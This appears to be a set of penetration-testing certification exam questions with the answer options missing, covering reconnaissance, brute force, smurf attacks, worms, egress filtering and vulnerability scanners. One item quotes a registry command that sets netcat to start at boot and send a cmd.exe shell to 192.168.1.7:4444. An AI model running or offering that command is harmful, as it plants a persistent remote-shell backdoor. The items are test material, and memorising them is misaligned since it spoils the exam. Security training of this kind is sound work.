MultipleChoice
Which option best penetration testing phases involves gathering data from whois, DNS, and network scanning, which helps in mapping a target network and provides valuable information regarding the operating system and applications running on the systems?
OptionsMultipleChoice
Which of the following are the automated tools that are used to perform penetration testing?
Each correct answer represents a complete solution. Select two.
OptionsMultipleChoice
You work as a Network Administrator for Tech Perfect Inc. The company has a TCP/IP-based network. An attacker uses software that keeps trying password combinations until the correct password is found. Which type of attack is this?
OptionsFillInTheBlank
with the appropriate term.
______ is a free Unix subsystem that runs on top of Windows.
MultipleChoice
Which of the following statements about smurf is true?
OptionsFillInTheBlank
with the appropriate term.
_______is the practice of monitoring and potentially restricting the flow of information outbound from one network to another.
MultipleChoice
Which of the following is a computer worm that caused a denial of service on some Internet hosts and dramatically slowed down general Internet traffic?
OptionsMultipleChoice
You run the following command on the remote Windows server 2003 computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
'c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe'
What task do you want to perform by running this command?
Each correct answer represents a complete solution. Choose all that apply.
OptionsMultipleChoice
Which of the following controls is described in the statement given below?
"It ensures that the enforcement of organizational security policy does not rely on voluntary web application user compliance. It secures information by assigning sensitivity labels on information and comparing this to the level of security a user is operating at."
OptionsMultipleChoice
Which of the following tools is described in the statement given below?
"It has a database containing signatures to be able to detect hundreds of vulnerabilities in UNIX, Windows, and commonly used web CGI scripts. Moreover, the database detects DdoS zombies and Trojans as well."
Options